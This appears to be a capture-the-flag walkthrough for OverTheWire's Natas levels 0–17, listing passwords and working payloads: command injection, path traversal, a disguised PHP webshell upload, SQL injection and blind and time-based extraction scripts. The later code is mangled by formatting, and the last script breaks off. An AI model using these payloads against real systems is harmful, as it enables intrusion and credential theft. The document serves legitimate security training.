Natas

Natas teaches the basics of serverside web-security.

Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Level 0 – source code

Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org

Solution

Password is in source code

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Curl

curl --user natas0:natas0 http://natas0.natas.labs.overthewire.org

Level 1 – blocked rightclick

Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas1.natas.labs.overthewire.org

Solution

As the page has disabled right click, open the Source Code via Developers tools or Ctrl + U.

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Curl

curl –user natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto http://natas1.natas.labs.overthewire.org

Level 2 – unprotected directories

Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org

Solution

When we open the source code there is only one new image <img src="files/pixel.png">. So let’s explore if there is anything interesting in the files folder http://natas2.natas.labs.overthewire.org/files/.
Next to pixel.png is also users.txt file. When we open it a password for the next level shows up .

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

curl

curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org
curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/
curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/users.txt

Level 3 – robots.txt

Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org

Solution

We get a tip in source code

<!-- No more information leaks!! Not even Google will find it this time... -->

We can block google by adding a robots.tx file to the web page. Let’s check if the file is there.
http://natas3.natas.labs.overthewire.org/robots.txt

User-agent: *
Disallow: /s3cr3t/

We can see there is a s3cr3t directory on the page and indeed in the folder there is a file users.txt that holds a password.

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

curl

curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/robots.txt
curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/
curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

Level 4 – Headers

Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org

Solution

When we come to the page we get greeted with a messsage:

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" 

The message tells us that the Referer header is empty whie it should be set to http://natas5.natas.labs.overthewire.org/.

Open up the Web Developers Tools / Network / index.php and add a Refrrer to the Request Headers.
Headers can be also changed via plugins or curl.

Referer: http://natas5.natas.labs.overthewire.org/

Save and Resend. Then Click on Refresh page button.

Curl

curl -u natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --header "Referer: http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org

Page displays:

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 

Level 5 – cookies

Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org

Solution

When we get to the page we are greted with:

Access disallowed. You are not logged in

OK, so there must be a way for us to login. Let’s look at the cookies.

loggedin: "0"

Let’s change the value of the cookie to 1. You can do it in Firebug or curl (look below).

And sure enough, now the password is displayed on the page.

Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Curl

curl -u natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org

Level 6 – php includes

Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org

When we get on the page we are presented with input field where we can submit a secret code to get the password.

We also have the source code with php code available:

<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
                        print "Access granted. The password for natas7 is <censored>";
                 } else {
                                print "Wrong secret";
                 }
    }
?>

It reveals there is a file secret.inc at http://natas6.natas.labs.overthewire.org/includes/secret.inc. Source code reveals the secret key.

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

When we sumbit it with the form, the password is displayed.

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 

Curl

curl -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 --data "secret=FOEIUWGHFEEUHOFUOIU&submit=submit" http://natas6.natas.labs.overthewire.org/index.php

## Level 7 – get to server file via URL
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL: http://natas7.natas.labs.overthewire.org

When we open the page there are just two links. Source code gives us a hint

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

If we click on the links, nothing special happens, but if we change the URL to some non-existant page e.g. http://natas7.natas.labs.overthewire.org/index.php?page=ho we get another hint in the error message.

Warning: include(ho): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening 'ho' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

So we have the location of the file that is displayed in the browser and we got the location of the file with password.
Let’s build a link!

http://natas7.natas.labs.overthewire.org/index.php?page=/../../../../etc/natas_webpass/natas8

Visiting the page we get the contents of the file – the password.

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 

Curl

curl -u natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 http://natas7.natas.labs.overthewire.org/index.php?page=/../../../../etc/natas_webpass/natas8

Level 8 – encoding/decoding php/CLI

Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL: http://natas8.natas.labs.overthewire.org

Solution

Again we can see the input field for secret key and sourcecode.

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

Sourcecode gives us a secret key and all steps needed to decode it.

# ORIGINAL php :
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

# SOLUTION php:
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function decodeSecret($secret) {
    return(base64_decode(strrev(hex2bin($secret))));
}

print(decodeSecret($encodedSecret));

CLI

Get source code of the page:

$ curl -u natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe http://natas8.natas.labs.overthewire.org/index.php

We could can get the secret key with CLI:

$ echo '3d3d516343746d4d6d6c315669563362' | xxd -p -r | rev | base64 -d
oubWYf2kBq

When we enter the code into the form we get the password:

$ curl -u natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe --data "secret=oubWYf2kBq&submit=submit" http://natas8.natas.labs.overthewire.org/index.php

Same as if we type it in the form and submit it.

Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl 

Level 9 – inject command via form and passthru

Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org

Solution

Again we have a form and Search button. Output is also displayed.

Let’s first look at php in the sourcecode:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

The most important line is passthru("grep -i $key dictionary.txt");

Now we know we can inject a command and get the contents of /etc/natas_webpass/natas10

. /etc/natas_webpass/natas10;

Password is displayed. We could ommit ;, but then the whole dictionary would also be displayed.

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

curl

Source code:

$ curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/index.php

Password

$ curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --data "needle=. /etc/natas_webpass/natas10;&submit=submit" http://natas9.natas.labs.overthewire.org/index.php

Level 10 – # in CLI – avoiding ;

Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org

Solution

Again we have a form – like in previous task( but now some characters are filtered).

Let’s review the sourcecode

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

So we cannot use ; or &. No problem, we could just ommit ; at the end of command.

$ . /etc/natas_webpass/natas11
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
...

Or more elegantly, add # to have a cleaner output.

$ . /etc/natas_webpass/natas11 #
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

curl

Source code:

$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index.php

Password

# display first 25 lines of the document
$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu -# --data "needle=. /etc/natas_webpass/natas11&submit=submit" http://natas10.natas.labs.overthewire.org/index.php | head -n 25 

# display only the line with the password
$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu -# --data "needle=. /etc/natas_webpass/natas11&submit=submit" http://natas10.natas.labs.overthewire.org/index.php | grep /etc/natas_webpass/natas11

Level 11 – XOR encryption, interactive php, curl headers

Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL: http://natas11.natas.labs.overthewire.org

Solution

Let’s first look into the php sourcecode

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

The code first checks if data cookie exists. If it doesn’t it will load the default array (array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”)), but if the cookie exists it will change the background color in the array and save it with saveData() function.

Let’s examine what does the saveData() fucntion:
– json_encode the array
– xor_encrypt the json data
– base64_encode the xor
– sets the data cookie with the encoded value

JSON of the default array

# First start php in interactive mode
php -a
# OR
php --interactive

# json encode the default array
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
echo json_encode($defaultdata);
{"showpassword":"no","bgcolor":"#ffffff"}
# OR
echo json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
{"showpassword":"no","bgcolor":"#ffffff"}

data from the cookie

Get the header & the cookie within:

curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK -I http://natas11.natas.labs.overthewire.org
# or
curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK --head http://natas11.natas.labs.overthewire.org

data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

XOR Encoding

This is true for XOR encoding:

Data ⊕ key = Encoded data
Encoded data ⊕ key = Data
Data ⊕ Encoded data = key

We already have Data (default json) and Encoded data (value of cookie named data).

data = {“showpassword”:”no”,”bgcolor”:”#ffffff”}
encoded = base64_decode(ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=)
Note: Data in the cookie must first be URL decoded (%3D is =)

To get the key we need to XOR Data and Encoded. Let’s use modified php function:

function xor_encrypt($text, $key) {
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

$text = '{"showpassword":"no","bgcolor":"#ffffff"}';
$key =  base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");

echo xor_encrypt($text, $key);

We get the output:

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqphp

As the letters qw8J are repeated we know this is the key.

Now that we have the key we can XOR and encode the json data with showpassword set to yes.

$text = '{"showpassword":"yes","bgcolor":"#ffffff"}';
$key = "qw8J";
echo base64_encode(xor_encrypt($text, $key));
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Now set the new value of the data cookie.

curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK" http://natas11.natas.labs.overthewire.org

And the password will be displayed:

The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

You can also change cookie value in the Console or with Firebug:

document.cookie"data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"

Level 12 – Inject php file from image upload

Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL: http://natas12.natas.labs.overthewire.org

Solution

On the page is a form where we can upload a file. The instruction says we can upload a jpg – max size 1KB. And if the image is upoaded we get info about it’s location.

The file upload/ixrzu0g70c.jpg has been uploaded

We can also see the source code:

<? 
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?> 

So a random string of 10 characters is generated every time we refresh the page. For example:

<input type="hidden" name="filename" value="4spze20iju.jpg" />
<input type="hidden" name="filename" value="cnc8qihrza.jpg" />

Php code tells us that this hidden field is used to parse the name of the file and the extension. So let’s try to upload a php file and change it’s name in the hidden field.

The file upload/lxzzbapq44.php has been uploaded

Perfect! php file was uploaded. Now we only need the code that will display the password.

<?php
    passthru("cat /etc/natas_webpass/natas13");
        ?>

Page presents us with a link to php and by clicking on it the password is displayed.

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

## Level 13 – Inject php file from image upload – magic headers
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL: http://natas13.natas.labs.overthewire.org

Again we have a form to upload an image, but now the instruction says “For security reasons, we now only accept image files!”

Solution

Let’s first look into source code to find out how it determines that the file is indeed an image.

if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } 

php’s exif_imagetype() function determines the type of an image by reading first bytes (named magic numbers) of an image. The function then returns an int. Example:

$ php -a
$ echo exif_imagetype('pix.jpg');
2

For jpg the magic numbers (they are always in hex format) are:
FF D8 FF E0

List of magic numbers

Examine them with xxd:

$ xxd pix.jpg
0000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
# or
$ xxd -p 'pix.jpg'
ffd8ffe000104a46494600010100000100010000ffdb0043000806060706
..

We get the same if we open the file in text editor

\FF\D8\FF\E0\00JFIF

For comparrison, with hexdump:

hexdump -ve '1/1 "%.2x"' pix.jpg
ffd8ffe000104a46494600010100000100010000ffdb004300080606070

And od:

$ od -t x1 -An pix.jpg
ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01

So let’s make a php file that will pass as a jpg and will have the code we want to execute on the server.

# Create a fakejpg.php file and add a jpg header
$ echo -n -e \\xff\\xd8\\xff\\xe0 > fakejpg.php
# Append a php script
$ echo "<?php passthru("cat /etc/natas_webpass/natas14"); ?>" >> fakejpg.php
# Check the hexdump of the file
$ hexdump -C fakejpg.php
00000000  ff d8 ff e0 3c 3f 70 68  70 20 70 61 73 73 74 68  |....<?php passth|
# Let's also check if php will recognize as an image
php -a
echo exif_imagetype('/home/maja/Desktop/onGIT/overthewire.org/natas/fake.jpg');
2
# All good :)

If you open the file in text editor, you will see four characters before the php code:

ÿØÿà<?php passthru("cat /etc/natas_webpass/natas14"); ?>

Next we can upload the file.
First add the php file, then change the hidden field to fakejpg.php and Upload the file. Now there is no error message!

The file upload/0pt4i8xuqz.php has been uploaded

After we click on the link the jpg’s encoded magic numbers and password will be displayed.

ÿØÿàLg96M10TdfaPyVBkJdjymbllQ5L6qdl1 

Password is:

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 

Notes

Alternative way to create a fake image in python is

fh = open('fakejpg.php','w')  
fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); ?>')  
fh.close()

Then you can query the server by appending the commands to the URL e.g.

http://natas13.natas.labs.overthewire.org/upload/x5dx35zi11.php?cmd=cat%20/etc/natas_webpass/natas13

## Level 14 – simple SQL Injection
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL: http://natas14.natas.labs.overthewire.org

Solution

When we come to the page we are presented with a typical login form. Let’s examine the source code:

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>

The first hint is the available debug

    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

So let’s append the debug to the URL

http://natas14.natas.labs.overthewire.org/index.php?username=one&password=one&debug

We get the following message:

Executing query: SELECT * from users where username="one" and password="one"
Access denied!

Great! We can now see the exact query that searches the database.
Let’s add an SQL injection to alter the query and make both username and password True. Effectively having SELECT * FROM USERS.

http://natas14.natas.labs.overthewire.org/index.php?username=" OR "1&password=" OR "1&debug=True
````
We get back:

Executing query: SELECT * from users where username=”” OR “1” and password=”” OR “1”
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

The password is:

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J


## Level 15 Username: natas15 Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J URL: [http://natas15.natas.labs.overthewire.org](http://natas15.natas.labs.overthewire.org) ### Solution Page offers one input field to check existance of the username. It gets us feedback wether the username exists or not. natas16 is an existing username. Here is the source code:

‘);
mysql_select_db(‘natas14’, $link);

$query = “SELECT * from users where username=\””.$_REQUEST[“username”].”\” and password=\””.$_REQUEST[“password”].”\””;
if(array_key_exists(“debug”, $_GET)) {
echo “Executing query: $query
“;
}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo “Successful login! The password for natas15 is
“;
} else {
echo “Access denied!
“;
}
mysql_close($link);
} else {
?>

Username:
Password:


As debug is again available we can check the query:

http://natas15.natas.labs.overthewire.org/index.php?username=natas16&debug

Let's have a closer look at the code for SQL query

$query = “SELECT * from users where username=\””.$_REQUEST[“username”].”\””;


We can therefore use expanded query that will enable us to check each character in the password.

SELECT * from users where username=”natas16″ AND password LIKE BINARY “a%”
or
SELECT * from users where username=”natas16″ AND LEFT(password,1) = “a”

Let's code the bash script for both versions:

#!/bin/bash

This script was made for http://overthewire.org/ Wargames Natas Level15-Level16.

It uses brute force to guess the password via SQL Injection vulnerability.

Password is written in the terminal after the script completes.

password=””

Set password length – defaults to 32 characters

for n in {0..31}
do
# Underscores for the SQL Query Version 1
underscore=$(perl -E “print ‘_’ x $n”)

    for i in {a..z} {A..Z} {0..9}
    do  

        # Added BINARY in SQL Query to make sure the query is case sensitive
        # Could also use COLLATE latin1_general_cs

        # Version 1
        # SELECT * from users where username="natas16" AND password LIKE BINARY "__d%"
        address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20password%20LIKE%20BINARY%20%22'"$underscore""${i}""%"'&debug'

        # Version 2
        # SELECT * from users where username="natas16" AND LEFT(password,1) = "a"
        # SELECT * from users where username="natas16" AND LEFT(password,1) = "Wa"
        position=$((10#$n + 1))
        # address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20LEFT(password%2C'"${position}"')%20COLLATE%20latin1_general_cs%20=%20%22'"${password}${i}"'&debug'

        content=$(curl --user natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J "${address}") 
        correct=$(echo "$content" | grep "This user exists")
        ## If the character is found add it to the password string
        ## and break out of the for loop
        if [[ $correct == Executing* ]]
            then 
            password+="$i"
            break
        fi  
    done

echo “$password”
done




After we run the script the password is displayed. Password is

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh


### curl example

curl –user natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J “http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20password%20LIKE%20%22[a-z]%&debug” | grep “This user exists”


### Notes Python solution by [Zelic](https://dejandayoff.com/natas-level15---level16/)

import urllib
import urllib2
cookie=’__cfduid=d6d468235c70649795d3603f9283975561442874989; __utma=176859643.1107484385.1442874995.1443039560.1443041564.3; __utmz=176859643.1442874995.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=176859643′

url = ‘http://natas15.natas.labs.overthewire.org/index.php’
referrer = ‘natas15.natas.labs.overthewire.org’
authorization = ‘Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==’

Chars = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,
‘s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’,’A’,’B’,’C’,’D’,’E’,’F’,’G’,’H’,’I’,’J’,’K’,’L’,
‘M’,’N’,’O’,’P’,’Q’,’R’,’S’,’T’,’U’,’V’,’W’,’X’,’Y’,’Z’,’0′,’1′,’2′,’3′,’4′,’5′,
‘6’,’7′,’8′,’9′]

password = “”

#loop through possible length of password
for i in range(1, 33):
print “%d out of 32″ % (i)
#loop through possible chars
for j in range(0,len(Chars)):
sqli = ‘natas16” AND LEFT(password, %d) COLLATE latin1_general_cs = “%s’ % (i,password + Chars[j])
values = {‘username’ : sqli}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
req.add_header(‘Cookie’, cookie)
req.add_header(‘Referrer’, referrer)
req.add_header(‘Authorization’, authorization)
try:
response = urllib2.urlopen(req)
the_page = response.read()
#print the_page
except HTTPError, e:
print e.reason
if “This user exists.” in the_page:
password+=Chars[j]
print password
break


## Level 16 - SQL Injection - char by char Username: natas16 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh URL: [http://natas16.natas.labs.overthewire.org](http://natas16.natas.labs.overthewire.org) ### Solution This level is similar to Level 9, but to make the task harder a couple of characters are not allowed. Let's first look at the source code: ¸¸¸ <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> ¸¸¸ Disabled characters are `;|&`\'"` so we need to find a way to include our request without these chharacters in `grep -i \"$key\" dictionary.txt`. We can execute a command inside a string by using `$(command)`, so let's use it in the script.

#!/bin/bash
address=’http://natas16.natas.labs.overthewire.org/’
authorization=”Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==”
password=””

Password length defaults to 32 characters

for n in {1..32}
do
for i in {a..z} {A..Z} {0..9}
do
content=$(curl -s –user natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh -H “${authorization}” -d ‘needle=$(grep ^'”${password}${i}”‘ /etc/natas_webpass/natas17)July’ -d “submit=Search” “${address}”)

match=$(echo "$content" | tr '\n' ' ' | grep -v "<pre> July July's </pre>")

## If the character is found, add it to the password string
## and break out of the for loop
if [[ "$match" == *"<pre> </pre>"* ]]; then 
  echo "${n} out of 32"     
  password+="$i"
  break
fi  

done
echo “$password”
done


After we run it, the password is available:

1 out of 32
8
2 out of 32
8P

31 out of 32
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
32 out of 32
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw


## Level 17 - Silent SQL injection (SLEEP()) Username: natas17 Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw URL: [http://natas17.natas.labs.overthewire.org](http://natas17.natas.labs.overthewire.org) The page is similar to the previous tasks where we checked the existance of the username, however this time there is no visible feedback on the page. Here is a part of php code:

if(array_key_exists(“username”, $_REQUEST)) {
$link = mysql_connect(‘localhost’, ‘natas17’, ‘‘);
mysql_select_db(‘natas17’, $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
    //echo "This user exists.<br>";
} else {
    //echo "This user doesn't exist.<br>";
}
} else {
    //echo "Error in query.<br>";
}

mysql_close($link); 

The exploit must be made with the silent SQL injection where we capture the correct character on time based response. We can recreate the problem on localhost. Create a batabase and a table named users and defined fields from the source code and add entry for one user.

mysql> CREATE TABLE users (
username varchar(64) DEFAULT NULL,
password varchar(64) DEFAULT NULL
);

mysql> INSERT INTO users VALUES (‘natas16’, ‘8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw’);

Now we can query the database:

mysql> Select * FROM users WHERE username = “natas16” AND LEFT(password, 1) = “8” AND (SELECT SLEEP(5)) AND “1”=”1″;
Empty set (5.00 sec)

mysql> Select * FROM users WHERE username = “natas16” AND LEFT(password, 2) = “8” AND (SELECT SLEEP(5)) AND “1”=”1″;
Empty set (0.00 sec)


When the character is correct the response takes 5 sec and when it is not, we get immediate feedback. We can now create a Bash script.

#!/bin/bash

REFERENCE SQL username=natas18″ AND LEFT(password, 1) COLLATE latin1_general_cs = “” AND (SELECT SLEEP(10)) AND “1”=”1

address=’http://natas17.natas.labs.overthewire.org/index.php’
authorization=”Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==”
password=””

Password length defaults to 32 characters

for n in {1..32}
do
for i in {a..z} {A..Z} {0..9}
do

start=$(date +%s)

content=$(curl –user natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw -H “${authorization}” -d ‘username=natas18%22%20AND%20LEFT(password,%20′”${n}”‘)%20COLLATE%20latin1_general_cs%20=%20%22′”${password}${i}”‘%22%20AND%20(SELECT%20SLEEP(10))%20AND%20%221%22=%221’ -d “submit=Check%20existence” “${address}”)

end=$(date +%s)
runtime=$((end-start))

DEBUGGING

